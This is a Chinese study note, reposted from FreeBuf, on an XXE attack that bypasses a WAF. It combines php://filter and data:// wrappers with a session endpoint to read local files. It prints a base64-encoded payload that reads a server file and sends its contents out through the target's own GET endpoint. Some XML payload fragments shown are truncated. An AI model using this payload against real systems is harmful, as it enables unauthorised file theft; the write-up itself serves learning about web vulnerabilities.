学习日志9:XXE+php://filter绕过WAF读内网文件

摘自freebuf
出处:https://www.freebuf.com/vuls/211822.html

基础知识:
1.php://filter是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;使用不同的参数可以达到不同的目的和效果:其中resource=<要过滤的数据流>,指定了要筛选过滤的数据流
2.php的data://text/plain;base64,数据流封装器,代表之后的数据为base64编码的
3.由于XXE漏洞的特殊性,在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name。其原因是,PHP是基于标签的脚本语言,这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。所以,为了读取包含有敏感信息的PHP等源文件,可以先将可能引发冲突的PHP代码进行base64编码,这里就会用到php://filter,例如php://filter/read=convert.base64-encode/resource=index.php代表将index.php进行base64编码后读取

漏洞发现过程:
1.发现页面存在xml调用,可能存在XXE,但是xml在前端进行了加密。
2.寻找加密的js函数,发现不可读。使用浏览器设置断点,先修改xml内容,再继续运行函数对xml加密,完成绕过。
3.构造XXE利用代码,请求远程文件时回显Error while parsing XML,请求localhost文件时正常返回(无回显),说明XXE漏洞存在,但是可能存在WAF,无法读取远程DTD,也无法将XXE攻击读到的内容输出到远程。
4.找到如下路径,不需cookie验证且使用GET参数的路径可以实现对某些数据的更改或添加:http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它调用三个参数:sid、key和val,把key和val保存到相应的账户会话中,而且通过访问该路径就可以获取这三个参数值
5.构造如下payload,发送后再次访问http://target/endpoint.php?sid=[session_id]发现key和val的值已经修改为了xxe和test,再次证明XXE存在,但依旧无法访问远程DTD

   
]>
< paramlimits>
< component name="L1" min="2" max="100">& xxe;

6.能不能读取本地文件,再将文件内容以参数的形式(key和val)发送到http://target/endpoint.php?sid=[session_id],再通过访问http://target/endpoint.php?sid=[session_id]根据参数值(key和val)得到文件内容?
7.构造payload

'>

其中data利用php://filter和file://读取到了目标机器上的文件D:/path/index.php
parama1中的exfil将data的内容以参数val的形式发到http://target/endpoint.php?sid=[session_id]中
8.将以上payload进行basa64编码并用php://封装,结果如下:
php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+
9.最终XXE payload

   %sp; %param1;
]>
< paramlimits>
  < component name="L1" min="2" max="100">& exfil;

10.发送XXE payload后再次访问http://target/endpoint.php?sid=[session_id],查看参数val的值,得到文件D:/path/index.php的内容(base64编码后的)

亮点:
1.浏览器设置断点:完成前端js加密xml的绕过。
2.发现关键性url,具有以下特点:不需cookie验证且使用GET参数的路径可以实现对某些数据的更改或添加,并将参数值保存至用户会话。从而可以将攻击得到的数据通过这个url完成传输,通过同一个session id再次访问url得到数据。

你可能感兴趣的:(学习笔记)